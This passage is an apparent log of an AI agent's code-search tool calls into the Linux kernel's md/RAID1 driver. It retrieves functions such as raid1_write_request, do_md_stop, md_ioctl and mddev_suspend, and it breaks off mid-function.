Tokens:
input: 59425
output: 23
thoughts: 0
|
| 93/2 |
2026/08/26 10:35 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:9357: void md_write_end(struct mddev *mddev)
9358: {
9359: percpu_ref_put(&mddev->writes_pending);
9360:
9361: if (mddev->safemode == 2)
9362: md_wakeup_thread(mddev->thread);
9363: else if (mddev->safemode_delay)
9364: /* The roundup() ensures this only performs locking once
9365: * every ->safemode_delay jiffies
9366: */
9367: mod_timer(&mddev->safemode_timer,
9368: roundup(jiffies, mddev->safemode_delay) +
9369: mddev->safemode_delay);
9370: }
SourceFile:drivers/md/md.c]
|
| 94/2 |
2026/08/26 10:35 |
llm |
expert |
0m
Model:
Tokens:
input: 59704
output: 24
thoughts: 0
|
| 95/2 |
2026/08/26 10:35 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_write_request]
Results: map[SourceCode:1479: static bool raid1_write_request(struct mddev *mddev, struct bio *bio,
1480: int max_sectors)
1481: {
1482: struct r1conf *conf = mddev->private;
1483: struct r1bio *r1_bio;
1484: int i, disks, k;
1485: unsigned long flags;
1486: int first_clone;
1487: bool write_behind = false;
1488: bool atomic = bio->bi_opf & REQ_ATOMIC;
1489: bool is_discard = op_is_discard(bio->bi_opf);
1490: sector_t sector = bio->bi_iter.bi_sector;
1491:
1492: if (mddev_is_clustered(mddev) &&
1493: mddev->cluster_ops->area_resyncing(mddev, WRITE, sector,
1494: bio_end_sector(bio))) {
1495: wait_event_idle(conf->wait_barrier,
1496: !mddev->cluster_ops->area_resyncing(mddev, WRITE,
1497: sector,
1498: bio_end_sector(bio)));
1499: }
1500:
1501: /*
1502: * Register the new request and wait if the reconstruction
1503: * thread has put up a bar for new requests.
1504: * Continue immediately if no resync is active currently.
1505: */
1506: wait_barrier(conf, sector);
1507:
1508: wait_blocked_rdev(mddev, bio);
1509:
1510: r1_bio = alloc_r1bio(mddev, bio);
1511: r1_bio->sectors = max_sectors;
1512:
1513: /* first select target devices under rcu_lock and
1514: * inc refcount on their rdev. Record them by setting
1515: * bios[x] to bio
1516: * If there are known/acknowledged bad blocks on any device on
1517: * which we have seen a write error, we want to avoid writing those
1518: * blocks.
1519: * This potentially requires several writes to write around
1520: * the bad blocks. Each set of writes gets it's own r1bio
1521: * with a set of bios attached.
1522: */
1523:
1524: disks = conf->raid_disks * 2;
1525: for (i = 0; i < disks; i++) {
1526: struct md_rdev *rdev = conf->mirrors[i].rdev;
1527:
1528: /*
1529: * The write-behind io is only attempted on drives marked as
1530: * write-mostly, which means we could allocate write behind
1531: * bio later.
1532: */
1533: if (!is_discard && rdev && test_bit(WriteMostly, &rdev->flags))
1534: write_behind = true;
1535: if (atomic && max_sectors > BIO_MAX_VECS * (PAGE_SIZE >> 9))
1536: write_behind = false;
1537:
1538: r1_bio->bios[i] = NULL;
1539: if (!rdev || test_bit(Faulty, &rdev->flags))
1540: continue;
1541:
1542: if (test_bit(WriteErrorSeen, &rdev->flags)) {
1543: sector_t first_bad;
1544: sector_t bad_sectors;
1545: int is_bad;
1546:
1547: is_bad = is_badblock(rdev, sector, max_sectors,
1548: &first_bad, &bad_sectors);
1549: if (is_bad && first_bad <= sector) {
1550: /* Cannot write here at all */
1551: bad_sectors -= (sector - first_bad);
1552: if (bad_sectors < max_sectors)
1553: /* mustn't write more than bad_sectors
1554: * to other devices yet
1555: */
1556: max_sectors = bad_sectors;
1557: continue;
1558: }
1559: if (is_bad) {
1560: int good_sectors;
1561:
1562: good_sectors = first_bad - sector;
1563: if (good_sectors < max_sectors)
1564: max_sectors = good_sectors;
1565: }
1566: }
1567:
1568: atomic_inc(&rdev->nr_pending);
1569: r1_bio->bios[i] = bio;
1570: }
1571:
1572: /*
1573: * When using a bitmap, we may call alloc_behind_master_bio below.
1574: * alloc_behind_master_bio allocates a copy of the data payload a page
1575: * at a time and thus needs a new bio that can fit the whole payload
1576: * this bio in page sized chunks.
1577: */
1578: if (write_behind && mddev->bitmap)
1579: max_sectors = min_t(int, max_sectors,
1580: BIO_MAX_VECS * (PAGE_SIZE >> 9));
1581: if (max_sectors < bio_sectors(bio)) {
1582: if (atomic) {
1583: bio_io_error(bio);
1584: goto err_dec_pending;
1585: }
1586:
1587: bio = bio_submit_split_bioset(bio, max_sectors,
1588: &conf->bio_split);
1589: if (!bio)
1590: goto err_dec_pending;
1591:
1592: r1_bio->master_bio = bio;
1593: r1_bio->sectors = max_sectors;
1594: }
1595:
1596: md_account_bio(mddev, &bio);
1597: r1_bio->master_bio = bio;
1598: atomic_set(&r1_bio->remaining, 1);
1599: atomic_set(&r1_bio->behind_remaining, 0);
1600:
1601: first_clone = 1;
1602:
1603: for (i = 0; i < disks; i++) {
1604: struct bio *mbio = NULL;
1605: struct md_rdev *rdev = conf->mirrors[i].rdev;
1606: if (!r1_bio->bios[i])
1607: continue;
1608:
1609: if (first_clone) {
1610: if (write_behind)
1611: raid1_start_write_behind(mddev, r1_bio, bio);
1612: first_clone = 0;
1613: }
1614:
1615: if (r1_bio->behind_master_bio) {
1616: mbio = bio_alloc_clone(rdev->bdev,
1617: r1_bio->behind_master_bio,
1618: GFP_NOIO, &mddev->bio_set);
1619: if (test_bit(CollisionCheck, &rdev->flags))
1620: wait_for_serialization(rdev, r1_bio);
1621: if (test_bit(WriteMostly, &rdev->flags))
1622: atomic_inc(&r1_bio->behind_remaining);
1623: } else {
1624: mbio = bio_alloc_clone(rdev->bdev, bio, GFP_NOIO,
1625: &mddev->bio_set);
1626:
1627: if (test_bit(MD_SERIALIZE_POLICY, &mddev->flags))
1628: wait_for_serialization(rdev, r1_bio);
1629: }
1630:
1631: r1_bio->bios[i] = mbio;
1632:
1633: mbio->bi_iter.bi_sector = sector + rdev->data_offset;
1634: mbio->bi_end_io = raid1_end_write_request;
1635: if (test_bit(FailFast, &rdev->flags) &&
1636: !test_bit(WriteMostly, &rdev->flags) &&
1637: conf->raid_disks - mddev->degraded > 1)
1638: mbio->bi_opf |= MD_FAILFAST;
1639: mbio->bi_private = r1_bio;
1640:
1641: atomic_inc(&r1_bio->remaining);
1642: mddev_trace_remap(mddev, mbio, sector);
1643: /* flush_pending_writes() needs access to the rdev so...*/
1644: mbio->bi_bdev = (void *)rdev;
1645: if (!raid1_add_bio_to_plug(mddev, mbio, raid1_unplug, disks)) {
1646: spin_lock_irqsave(&conf->device_lock, flags);
1647: bio_list_add(&conf->pending_bio_list, mbio);
1648: spin_unlock_irqrestore(&conf->device_lock, flags);
1649: md_wakeup_thread(mddev->thread);
1650: }
1651: }
1652:
1653: r1_bio_write_done(r1_bio);
1654:
1655: /* In case raid1d snuck in to freeze_array */
1656: wake_up_barrier(conf);
1657:
1658: return true;
1659:
1660: err_dec_pending:
1661: for (k = 0; k < i; k++) {
1662: if (r1_bio->bios[k]) {
1663: rdev_dec_pending(conf->mirrors[k].rdev, mddev);
1664: r1_bio->bios[k] = NULL;
1665: }
1666: }
1667:
1668: free_r1bio(r1_bio);
1669: allow_barrier(conf, sector);
1670:
1671: return false;
1672: }
SourceFile:drivers/md/raid1.c]
|
| 96/2 |
2026/08/26 10:35 |
llm |
expert |
0m
Model:
Tokens:
input: 62801
output: 21
thoughts: 0
|
| 97/2 |
2026/08/26 10:36 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 635: struct wait_barrier {
636: struct wait_queue_entry base;
637: struct i915_active *ref;
638: };
SourceFile:drivers/gpu/drm/i915/i915_active.c]
|
| 98/2 |
2026/08/26 10:36 |
llm |
expert |
0m
Model:
Tokens:
input: 62916
output: 35
thoughts: 0
|
| 99/2 |
2026/08/26 10:36 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:wait_barrier]
Results: map[SourceCode:1150: static void wait_barrier(struct r1conf *conf, sector_t sector_nr)
1151: {
1152: int idx = sector_to_idx(sector_nr);
1153:
1154: _wait_barrier(conf, idx);
1155: }
SourceFile:drivers/md/raid1.c]
|
| 100/2 |
2026/08/26 10:36 |
llm |
expert |
0m
Model:
Tokens:
input: 63068
output: 23
thoughts: 0
|
| 101/2 |
2026/08/26 10:36 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 189: static inline int sector_to_idx(sector_t sector)
190: {
191: return hash_long(sector >> BARRIER_UNIT_SECTOR_BITS,
192: BARRIER_BUCKETS_NR_BITS);
193: }
SourceFile:drivers/md/raid1.h]
|
| 102/2 |
2026/08/26 10:36 |
llm |
expert |
0m
Model:
Tokens:
input: 63200
output: 27
thoughts: 0
|
| 103/2 |
2026/08/26 10:36 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[Name:BARRIER_BUCKETS_NR_BITS]
Results: map[SourceCode: SourceFile:]
|
| 104/2 |
2026/08/26 10:36 |
llm |
expert |
0m
Model:
Tokens:
input: 63248
output: 25
thoughts: 0
|
| 105/2 |
2026/08/26 10:36 |
tool |
grepper |
0m
Args: map[Expression:#define BARRIER_BUCKETS_NR_BITS]
Results: map[Output:drivers/md/raid1.h-25- */
drivers/md/raid1.h:26:#define BARRIER_BUCKETS_NR_BITS (PAGE_SHIFT - ilog2(sizeof(atomic_t)))
drivers/md/raid1.h-27-#define BARRIER_BUCKETS_NR (1<<BARRIER_BUCKETS_NR_BITS)
]
|
| 106/2 |
2026/08/26 10:36 |
llm |
expert |
0m
Model:
Tokens:
input: 63373
output: 22
thoughts: 0
|
| 107/2 |
2026/08/26 10:36 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3267: static void raid1_free(struct mddev *mddev, void *priv)
3268: {
3269: struct r1conf *conf = priv;
3270:
3271: mempool_destroy(conf->r1bio_pool);
3272: kfree(conf->mirrors);
3273: safe_put_page(conf->tmppage);
3274: kfree(conf->nr_pending);
3275: kfree(conf->nr_waiting);
3276: kfree(conf->nr_queued);
3277: kfree(conf->barrier);
3278: bioset_exit(&conf->bio_split);
3279: kfree(conf);
3280: }
SourceFile:drivers/md/raid1.c]
|
| 108/2 |
2026/08/26 10:36 |
llm |
expert |
0m
Model:
Tokens:
input: 63636
output: 22
thoughts: 0
|
| 109/2 |
2026/08/26 10:36 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7084: static void __md_stop(struct mddev *mddev)
7085: {
7086: struct md_personality *pers = mddev->pers;
7087:
7088: mddev_detach(mddev);
7089: md_bitmap_destroy(mddev);
7090: spin_lock(&mddev->lock);
7091: mddev->pers = NULL;
7092: spin_unlock(&mddev->lock);
7093: if (mddev->private)
7094: pers->free(mddev, mddev->private);
7095: mddev->private = NULL;
7096: put_pers(pers);
7097: clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7098: }
SourceFile:drivers/md/md.c]
|
| 110/2 |
2026/08/26 10:36 |
llm |
expert |
0m
Model:
Tokens:
input: 63914
output: 23
thoughts: 0
|
| 111/2 |
2026/08/26 10:36 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7158: /* mode:
7159: * 0 - completely stop and dis-assemble array
7160: * 2 - stop but do not disassemble array
7161: */
7162: static int do_md_stop(struct mddev *mddev, int mode)
7163: {
7164: struct gendisk *disk = mddev->gendisk;
7165: struct md_rdev *rdev;
7166: int did_freeze = 0;
7167:
7168: if (!test_bit(MD_RECOVERY_FROZEN, &mddev->recovery)) {
7169: did_freeze = 1;
7170: set_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7171: }
7172:
7173: stop_sync_thread(mddev, true);
7174:
7175: if (mddev->sysfs_active ||
7176: test_bit(MD_RECOVERY_RUNNING, &mddev->recovery)) {
7177: pr_warn("md: %s still in use.\n",mdname(mddev));
7178: if (did_freeze) {
7179: clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7180: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
7181: }
7182: return -EBUSY;
7183: }
7184: if (mddev->pers) {
7185: if (!md_is_rdwr(mddev))
7186: set_disk_ro(disk, 0);
7187:
7188: if (mode == 2 && mddev->pers->sync_request &&
7189: mddev->to_remove == NULL)
7190: mddev->to_remove = &md_redundancy_group;
7191:
7192: __md_stop_writes(mddev);
7193: __md_stop(mddev);
7194:
7195: /* tell userspace to handle 'inactive' */
7196: sysfs_notify_dirent_safe(mddev->sysfs_state);
7197:
7198: rdev_for_each(rdev, mddev)
7199: if (rdev->raid_disk >= 0)
7200: sysfs_unlink_rdev(mddev, rdev);
7201:
7202: set_capacity_and_notify(disk, 0);
7203: mddev->changed = 1;
7204:
7205: if (!md_is_rdwr(mddev))
7206: mddev->ro = MD_RDWR;
7207: }
7208: /*
7209: * Free resources if final stop
7210: */
7211: if (mode == 0) {
7212: pr_info("md: %s stopped.\n", mdname(mddev));
7213:
7214: if (mddev->bitmap_info.file) {
7215: struct file *f = mddev->bitmap_info.file;
7216: spin_lock(&mddev->lock);
7217: mddev->bitmap_info.file = NULL;
7218: spin_unlock(&mddev->lock);
7219: fput(f);
7220: }
7221: mddev->bitmap_info.offset = 0;
7222:
7223: export_array(mddev);
7224: md_clean(mddev);
7225: if (!legacy_async_del_gendisk)
7226: set_bit(MD_DELETED, &mddev->flags);
7227: }
7228: md_new_event();
7229: sysfs_notify_dirent_safe(mddev->sysfs_state);
7230: return 0;
7231: }
SourceFile:drivers/md/md.c]
|
| 112/2 |
2026/08/26 10:36 |
llm |
expert |
0m
Model:
Tokens:
input: 65097
output: 24
thoughts: 0
|
| 113/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args: map[Name:__md_stop_writes]
Results: map[SourceCode:7032: static void __md_stop_writes(struct mddev *mddev)
7033: {
7034: timer_delete_sync(&mddev->safemode_timer);
7035:
7036: if (md_is_rdwr(mddev) || !mddev_is_dm(mddev)) {
7037: if (mddev->pers && mddev->pers->quiesce) {
7038: mddev->pers->quiesce(mddev, 1);
7039: mddev->pers->quiesce(mddev, 0);
7040: }
7041:
7042: if (md_bitmap_enabled(mddev, true))
7043: mddev->bitmap_ops->flush(mddev);
7044: }
7045:
7046: if (md_is_rdwr(mddev) &&
7047: ((!mddev->in_sync && !mddev_is_clustered(mddev)) ||
7048: mddev->sb_flags)) {
7049: /* mark array as shutdown cleanly */
7050: if (!mddev_is_clustered(mddev))
7051: mddev->in_sync = 1;
7052: md_update_sb(mddev, 1);
7053: }
7054: /* disable policy to guarantee rdevs free resources for serialization */
7055: clear_bit(MD_SERIALIZE_POLICY, &mddev->flags);
7056: mddev_destroy_serial_pool(mddev, NULL);
7057: }
SourceFile:drivers/md/md.c]
|
| 114/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 65597
output: 22
thoughts: 0
|
| 115/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7069: static void mddev_detach(struct mddev *mddev)
7070: {
7071: if (md_bitmap_enabled(mddev, false))
7072: mddev->bitmap_ops->wait_behind_writes(mddev);
7073: if (mddev->pers && mddev->pers->quiesce && !is_md_suspended(mddev)) {
7074: mddev->pers->quiesce(mddev, 1);
7075: mddev->pers->quiesce(mddev, 0);
7076: }
7077: md_unregister_thread(mddev, &mddev->thread);
7078:
7079: /* the unplug fn references 'conf' */
7080: if (!mddev_is_dm(mddev))
7081: blk_sync_queue(mddev->gendisk->queue);
7082: }
SourceFile:drivers/md/md.c]
|
| 116/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 65900
output: 21
thoughts: 0
|
| 117/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8342: static int md_ioctl(struct block_device *bdev, blk_mode_t mode,
8343: unsigned int cmd, unsigned long arg)
8344: {
8345: int err = 0;
8346: unsigned int noio_flags = 0;
8347: void __user *argp = (void __user *)arg;
8348: struct mddev *mddev = NULL;
8349: bool suspend;
8350:
8351: err = md_ioctl_valid(cmd);
8352: if (err)
8353: return err;
8354:
8355: /*
8356: * Commands dealing with the RAID driver but not any
8357: * particular array:
8358: */
8359: if (cmd == RAID_VERSION)
8360: return get_version(argp);
8361:
8362: /*
8363: * Commands creating/starting a new array:
8364: */
8365:
8366: mddev = bdev->bd_disk->private_data;
8367:
8368: /* Some actions do not requires the mutex */
8369: switch (cmd) {
8370: case GET_ARRAY_INFO:
8371: if (!mddev->raid_disks && !mddev->external)
8372: return -ENODEV;
8373: return get_array_info(mddev, argp);
8374:
8375: case GET_DISK_INFO:
8376: if (!mddev->raid_disks && !mddev->external)
8377: return -ENODEV;
8378: return get_disk_info(mddev, argp);
8379:
8380: case SET_DISK_FAULTY:
8381: return set_disk_faulty(mddev, new_decode_dev(arg));
8382:
8383: case GET_BITMAP_FILE:
8384: return get_bitmap_file(mddev, argp);
8385: }
8386:
8387: if (cmd == STOP_ARRAY || cmd == STOP_ARRAY_RO) {
8388: /* Need to flush page cache, and ensure no-one else opens
8389: * and writes
8390: */
8391: err = mddev_set_closing_and_sync_blockdev(mddev, 1);
8392: if (err)
8393: return err;
8394: }
8395:
8396: if (!md_is_rdwr(mddev))
8397: flush_work(&mddev->sync_work);
8398:
8399: suspend = md_ioctl_need_suspend(cmd);
8400: err = suspend ? mddev_suspend_and_lock(mddev) : mddev_lock(mddev);
8401: if (err) {
8402: pr_debug("md: ioctl lock interrupted, reason %d, cmd %d\n",
8403: err, cmd);
8404: goto out;
8405: }
8406: if (suspend)
8407: noio_flags = memalloc_noio_save();
8408:
8409: if (cmd == SET_ARRAY_INFO) {
8410: err = __md_set_array_info(mddev, argp);
8411: goto unlock;
8412: }
8413:
8414: /*
8415: * Commands querying/configuring an existing array:
8416: */
8417: /* if we are not initialised yet, only ADD_NEW_DISK, STOP_ARRAY,
8418: * RUN_ARRAY, and GET_ and SET_BITMAP_FILE are allowed */
8419: if ((!mddev->raid_disks && !mddev->external)
8420: && cmd != ADD_NEW_DISK && cmd != STOP_ARRAY
8421: && cmd != RUN_ARRAY && cmd != SET_BITMAP_FILE
8422: && cmd != GET_BITMAP_FILE) {
8423: err = -ENODEV;
8424: goto unlock;
8425: }
8426:
8427: /*
8428: * Commands even a read-only array can execute:
8429: */
8430: switch (cmd) {
8431: case RESTART_ARRAY_RW:
8432: err = restart_array(mddev);
8433: goto unlock;
8434:
8435: case STOP_ARRAY:
8436: err = do_md_stop(mddev, 0);
8437: goto unlock;
8438:
8439: case STOP_ARRAY_RO:
8440: if (mddev->pers)
8441: err = md_set_readonly(mddev);
8442: goto unlock;
8443:
8444: case HOT_REMOVE_DISK:
8445: err = hot_remove_disk(mddev, new_decode_dev(arg));
8446: goto unlock;
8447:
8448: case ADD_NEW_DISK:
8449: /* We can support ADD_NEW_DISK on read-only arrays
8450: * only if we are re-adding a preexisting device.
8451: * So require mddev->pers and MD_DISK_SYNC.
8452: */
8453: if (mddev->pers) {
8454: mdu_disk_info_t info;
8455: if (copy_from_user(&info, argp, sizeof(info)))
8456: err = -EFAULT;
8457: else if (!(info.state & (1<<MD_DISK_SYNC)))
8458: /* Need to clear read-only for this */
8459: break;
8460: else
8461: err = md_add_new_disk(mddev, &info);
8462: goto unlock;
8463: }
8464: break;
8465: }
8466:
8467: /*
8468: * The remaining ioctls are changing the state of the
8469: * superblock, so we do not allow them on read-only arrays.
8470: */
8471: if (!md_is_rdwr(mddev) && mddev->pers) {
8472: if (mddev->ro != MD_AUTO_READ) {
8473: err = -EROFS;
8474: goto unlock;
8475: }
8476: mddev->ro = MD_RDWR;
8477: sysfs_notify_dirent_safe(mddev->sysfs_state);
8478: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
8479: /* mddev_unlock will wake thread */
8480: /* If a device failed while we were read-only, we
8481: * need to make sure the metadata is updated now.
8482: */
8483: if (test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags)) {
8484: mddev_unlock(mddev);
8485: wait_event(mddev->sb_wait,
8486: !test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags) &&
8487: !test_bit(MD_SB_CHANGE_PENDING, &mddev->sb_flags));
8488: mddev_lock_nointr(mddev);
8489: }
8490: }
8491:
8492: switch (cmd) {
8493: case ADD_NEW_DISK:
8494: {
8495: mdu_disk_info_t info;
8496: if (copy_from_user(&info, argp, sizeof(info)))
8497: err = -EFAULT;
8498: else
8499: err = md_add_new_disk(mddev, &info);
8500: goto unlock;
8501: }
8502:
8503: case CLUSTERED_DISK_NACK:
8504: if (mddev_is_clustered(mddev))
8505: mddev->cluster_ops->new_disk_ack(mddev, false);
8506: else
8507: err = -EINVAL;
8508: goto unlock;
8509:
8510: case HOT_ADD_DISK:
8511: err = hot_add_disk(mddev, new_decode_dev(arg));
8512: goto unlock;
8513:
8514: case RUN_ARRAY:
8515: err = do_md_run(mddev);
8516: goto unlock;
8517:
8518: case SET_BITMAP_FILE:
8519: err = set_bitmap_file(mddev, (int)arg);
8520: goto unlock;
8521:
8522: default:
8523: err = -EINVAL;
8524: goto unlock;
8525: }
8526:
8527: unlock:
8528: if (mddev->hold_active == UNTIL_IOCTL &&
8529: err != -EINVAL)
8530: mddev->hold_active = 0;
8531:
8532: if (suspend) {
8533: memalloc_noio_restore(noio_flags);
8534: mddev_unlock_and_resume(mddev);
8535: } else {
8536: mddev_unlock(mddev);
8537: }
8538:
8539: out:
8540: if (cmd == STOP_ARRAY_RO || (err && cmd == STOP_ARRAY))
8541: clear_bit(MD_CLOSING, &mddev->flags);
8542: return err;
8543: }
SourceFile:drivers/md/md.c]
|
| 118/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 68821
output: 27
thoughts: 0
|
| 119/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_suspend_and_lock]
Results: map[SourceCode:1011: static inline int mddev_suspend_and_lock(struct mddev *mddev)
1012: {
1013: int ret;
1014:
1015: ret = mddev_suspend(mddev, true);
1016: if (ret)
1017: return ret;
1018:
1019: ret = mddev_lock(mddev);
1020: if (ret)
1021: mddev_resume(mddev);
1022:
1023: return ret;
1024: }
SourceFile:drivers/md/md.h]
|
| 120/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 69046
output: 23
thoughts: 0
|
| 121/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 461: /*
462: * Make sure no new requests are submitted to the device, and any requests that
463: * have been submitted are completely handled.
464: */
465: int mddev_suspend(struct mddev *mddev, bool interruptible)
466: {
467: int err = 0;
468:
469: /*
470: * hold reconfig_mutex to wait for normal io will deadlock, because
471: * other context can't update super_block, and normal io can rely on
472: * updating super_block.
473: */
474: lockdep_assert_not_held(&mddev->reconfig_mutex);
475:
476: if (interruptible)
477: err = mutex_lock_interruptible(&mddev->suspend_mutex);
478: else
479: mutex_lock(&mddev->suspend_mutex);
480: if (err)
481: return err;
482:
483: if (mddev->suspended) {
484: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
485: mutex_unlock(&mddev->suspend_mutex);
486: return 0;
487: }
488:
489: percpu_ref_kill(&mddev->active_io);
490:
491: /*
492: * RAID456 IO can sleep in wait_for_reshape while still holding an
493: * active_io reference. If reshape is already interrupted or frozen,
494: * wake those waiters so they can abort and drop the reference instead
495: * of deadlocking suspend.
496: */
497: if (mddev->pers && mddev->pers->prepare_suspend &&
498: reshape_interrupted(mddev))
499: mddev->pers->prepare_suspend(mddev);
500:
501: if (interruptible)
502: err = wait_event_interruptible(mddev->sb_wait,
503: percpu_ref_is_zero(&mddev->active_io));
504: else
505: wait_event(mddev->sb_wait,
506: percpu_ref_is_zero(&mddev->active_io));
507: if (err) {
508: percpu_ref_resurrect(&mddev->active_io);
509: mutex_unlock(&mddev->suspend_mutex);
510: return err;
511: }
512:
513: /*
514: * For raid456, io might be waiting for reshape to make progress,
515: * allow new reshape to start while waiting for io to be done to
516: * prevent deadlock.
517: */
518: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
519:
520: mutex_unlock(&mddev->suspend_mutex);
521: return 0;
522: }
SourceFile:drivers/md/md.c]
|
| 122/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 70006
output: 22
thoughts: 0
|
| 123/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 709: static inline int __must_check mddev_lock(struct mddev *mddev)
710: {
711: int ret;
712:
713: ret = mutex_lock_interruptible(&mddev->reconfig_mutex);
714:
715: /* MD_DELETED is set in do_md_stop with reconfig_mutex.
716: * So check it here.
717: */
718: if (!ret && test_bit(MD_DELETED, &mddev->flags)) {
719: ret = -ENODEV;
720: mutex_unlock(&mddev->reconfig_mutex);
721: }
722:
723: return ret;
724: }
SourceFile:drivers/md/md.h]
|
| 124/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 70280
output: 22
thoughts: 0
|
| 125/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 915: void mddev_unlock(struct mddev *mddev)
916: {
917: struct md_rdev *rdev;
918: struct md_rdev *tmp;
919: LIST_HEAD(delete);
920:
921: if (!list_empty(&mddev->deleting))
922: list_splice_init(&mddev->deleting, &delete);
923:
924: if (mddev->to_remove) {
925: /* These cannot be removed under reconfig_mutex as
926: * an access to the files will try to take reconfig_mutex
927: * while holding the file unremovable, which leads to
928: * a deadlock.
929: * So hold set sysfs_active while the remove in happeing,
930: * and anything else which might set ->to_remove or my
931: * otherwise change the sysfs namespace will fail with
932: * -EBUSY if sysfs_active is still set.
933: * We set sysfs_active under reconfig_mutex and elsewhere
934: * test it under the same mutex to ensure its correct value
935: * is seen.
936: */
937: const struct attribute_group *to_remove = mddev->to_remove;
938: mddev->to_remove = NULL;
939: mddev->sysfs_active = 1;
940: mutex_unlock(&mddev->reconfig_mutex);
941:
942: if (mddev->kobj.sd) {
943: if (to_remove != &md_redundancy_group)
944: sysfs_remove_group(&mddev->kobj, to_remove);
945: if (mddev->pers == NULL ||
946: mddev->pers->sync_request == NULL) {
947: sysfs_remove_group(&mddev->kobj, &md_redundancy_group);
948: if (mddev->sysfs_action)
949: sysfs_put(mddev->sysfs_action);
950: if (mddev->sysfs_completed)
951: sysfs_put(mddev->sysfs_completed);
952: if (mddev->sysfs_degraded)
953: sysfs_put(mddev->sysfs_degraded);
954: mddev->sysfs_action = NULL;
955: mddev->sysfs_completed = NULL;
956: mddev->sysfs_degraded = NULL;
957: }
958: }
959: mddev->sysfs_active = 0;
960: } else
961: mutex_unlock(&mddev->reconfig_mutex);
962:
963: md_wakeup_thread(mddev->thread);
964: wake_up(&mddev->sb_wait);
965:
966: list_for_each_entry_safe(rdev, tmp, &delete, same_set) {
967: list_del_init(&rdev->same_set);
968: kobject_del(&rdev->kobj);
969: export_rdev(rdev);
970: }
971:
972: if (!legacy_async_del_gendisk) {
973: /*
974: * Call del_gendisk after release reconfig_mutex to avoid
975: * deadlock (e.g. call del_gendisk under the lock and an
976: * access to sysfs files waits the lock)
977: * And MD_DELETED is only used for md raid which is set in
978: * do_md_stop. dm raid only uses md_stop to stop. So dm raid
979: * doesn't need to check MD_DELETED when getting reconfig lock
980: */
981: if (test_bit(MD_DELETED, &mddev->flags) &&
982: !test_and_set_bit(MD_DO_DELETE, &mddev->flags)) {
983: kobject_del(&mddev->kobj);
984: del_gendisk(mddev->gendisk);
985: }
986: }
987: }
SourceFile:drivers/md/md.c]
|
| 126/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 71555
output: 22
thoughts: 0
|
| 127/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 547: void mddev_resume(struct mddev *mddev)
548: {
549: return __mddev_resume(mddev, true);
550: }
SourceFile:drivers/md/md.c]
|
| 128/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 71662
output: 23
thoughts: 0
|
| 129/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 525: static void __mddev_resume(struct mddev *mddev, bool recovery_needed)
526: {
527: lockdep_assert_not_held(&mddev->reconfig_mutex);
528:
529: mutex_lock(&mddev->suspend_mutex);
530: WRITE_ONCE(mddev->suspended, mddev->suspended - 1);
531: if (mddev->suspended) {
532: mutex_unlock(&mddev->suspend_mutex);
533: return;
534: }
535:
536: percpu_ref_resurrect(&mddev->active_io);
537: wake_up(&mddev->sb_wait);
538:
539: if (recovery_needed)
540: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
541: md_wakeup_thread(mddev->thread);
542: md_wakeup_thread(mddev->sync_thread); /* possibly kick off a reshape */
543:
544: mutex_unlock(&mddev->suspend_mutex);
545: }
SourceFile:drivers/md/md.c]
|
| 130/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 72047
output: 26
thoughts: 0
|
| 131/2 |
2026/08/26 10:37 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_unlock_and_resume]
Results: map[SourceCode:1032: static inline void mddev_unlock_and_resume(struct mddev *mddev)
1033: {
1034: mddev_unlock(mddev);
1035: mddev_resume(mddev);
1036: }
SourceFile:drivers/md/md.h]
|
| 132/2 |
2026/08/26 10:37 |
llm |
expert |
0m
Model:
Tokens:
input: 72175
output: 23
thoughts: 0
|
| 133/2 |
2026/08/26 10:38 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8267: static inline int md_ioctl_valid(unsigned int cmd)
8268: {
8269: switch (cmd) {
8270: case GET_ARRAY_INFO:
8271: case GET_DISK_INFO:
8272: case RAID_VERSION:
8273: return 0;
8274: case ADD_NEW_DISK:
8275: case GET_BITMAP_FILE:
8276: case HOT_ADD_DISK:
8277: case HOT_REMOVE_DISK:
